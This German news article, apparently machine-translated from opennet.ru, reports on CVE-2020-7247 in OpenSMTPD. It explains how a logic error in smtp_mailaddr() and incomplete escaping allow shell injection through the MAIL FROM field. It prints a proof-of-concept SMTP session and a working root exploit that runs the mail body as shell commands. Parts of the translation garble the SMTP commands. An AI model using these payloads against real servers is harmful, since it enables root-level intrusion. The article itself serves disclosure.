Sicherheitslücke in OpenSMTPD, die die Remote-Codeausführung mit Root-Rechten ermöglicht

Im vom OpenBSD-Projekt entwickelten Mailserver OpenSMTPD identifiziert kritische Schwachstelle (CVE-2020-7247), mit dem Sie Shell-Befehle mit Root-Benutzerrechten remote auf dem Server ausführen können. Die Schwachstelle wurde während einer erneuten Prüfung durch Qualys Security (vorheriges OpenSMTPD-Audit) identifiziert wurde rausgebracht im Jahr 2015 und die neue Schwachstelle besteht seit Mai 2018). Problem eliminiert in der OpenSMTPD 6.6.2-Version. Allen Benutzern wird empfohlen, das Update sofort zu installieren (für OpenBSD kann der Patch über Syspatch installiert werden).

Es werden zwei Angriffsmöglichkeiten vorgeschlagen. Die erste Option funktioniert in der Standardkonfiguration von OpenSMTPD (Annahme von Anfragen nur von localhost) und ermöglicht es Ihnen, das Problem lokal auszunutzen, wenn der Angreifer auf die lokale Netzwerkschnittstelle (Loopback) auf dem Server zugreifen kann (z. B. auf Hosting-Systemen). . Die zweite Option tritt auf, wenn OpenSMTPD für den Empfang externer Netzwerkanforderungen konfiguriert ist (ein Mailserver, der E-Mails von Drittanbietern akzeptiert). Forscher haben einen Prototyp eines Exploits vorbereitet, der sowohl mit der in OpenBSD 6.6 enthaltenen OpenSMTPD-Version als auch mit einer portablen Version für andere Betriebssysteme erfolgreich funktioniert (durchgeführt in Debian Testing).

Das Problem wird durch einen Fehler in der Funktion smtp_mailaddr() verursacht, die aufgerufen wird, um die Richtigkeit der Werte in den Feldern „MAIL FROM“ und „RCPT TO“ zu überprüfen, die den Absender/Empfänger definieren und während der Verbindung übergeben werden mit dem Mailserver. Um den Teil der E-Mail-Adresse zu überprüfen, der vor dem „@“-Symbol steht, wird die Funktion smtp_mailaddr() aufgerufen
valid_localpart(), das (MAILADDR_ALLOWED) die Zeichen „!#$%&'*/?^`{|}~+-=_“ akzeptiert, wie von RFC 5322 gefordert.

In diesem Fall erfolgt das direkte Escapen des Strings in der Funktion mda_expand_token(), die nur die Zeichen „!#$%&'*?`{|}~“ (MAILADDR_ESCAPE) ersetzt. Anschließend wird die in mda_expand_token() vorbereitete Zeile beim Aufruf des Delivery Agent (MDA) mit dem Befehl 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' verwendet. . Wenn Briefe über /bin/sh an mbox gesendet werden, wird die Zeile „/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}“ gestartet, in der der Wert „%“ steht. {mbox.from}“ enthält maskierte Daten aus dem Parameter „MAIL FROM“.

Der Kern der Schwachstelle besteht darin, dass smtp_mailaddr() einen logischen Fehler aufweist, aufgrund dessen die Funktion beim Senden einer leeren Domäne an die E-Mail einen erfolgreichen Bestätigungscode zurückgibt, selbst wenn der Teil der Adresse vor „@“ ungültige Zeichen enthält . Darüber hinaus maskiert die Funktion mda_expand_token() beim Vorbereiten einer Zeichenfolge nicht alle möglichen Shell-Sonderzeichen, sondern nur die in der E-Mail-Adresse zulässigen Sonderzeichen. Um Ihren Befehl auszuführen, reicht es also aus, das „;“-Symbol im lokalen Teil der E-Mail zu verwenden. und Leerzeichen, die nicht im MAILADDR_ESCAPE-Set enthalten sind und nicht maskiert werden. Zum Beispiel:

$nc 127.0.0.1 25

HELO Professor.falken
MAIL VON:<;sleep 66;>
RCPT AN:
DATEN
.
QUIT

Nach dieser Sitzung startet OpenSMTPD, wenn es an mbox übermittelt wird, den Befehl über die Shell

/usr/libexec/mail.local -f ;sleep 66; Wurzel

Gleichzeitig werden die Angriffsmöglichkeiten dadurch eingeschränkt, dass der lokale Teil der Adresse 64 Zeichen nicht überschreiten darf und die Sonderzeichen „$“ und „|“ werden beim Escape durch „:“ ersetzt. Um diese Einschränkung zu umgehen, nutzen wir die Tatsache, dass der Textkörper des Briefes übertragen wird, nachdem /usr/libexec/mail.local durch den Eingabestream ausgeführt wurde, d. h. Durch die Manipulation der Adresse können Sie lediglich den Befehlsinterpreter sh starten und den Textkörper des Briefs als Befehlssatz verwenden. Da Service-SMTP-Header am Anfang des Briefs angegeben werden, wird empfohlen, den Lesebefehl in einer Schleife zu verwenden, um sie zu überspringen. Ein funktionierender Exploit sieht etwa so aus:

$nc 192.168.56.143 25

HELO Professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT AN:[E-Mail geschützt] >
DATEN
#0
#1
...
#d
für mich in WOPR; Tun
echo -n "($i) " && id || brechen
erledigt > /root/x."`id -u`.""$$"
.
QUIT

Source: opennet.ru

Kommentar hinzufügen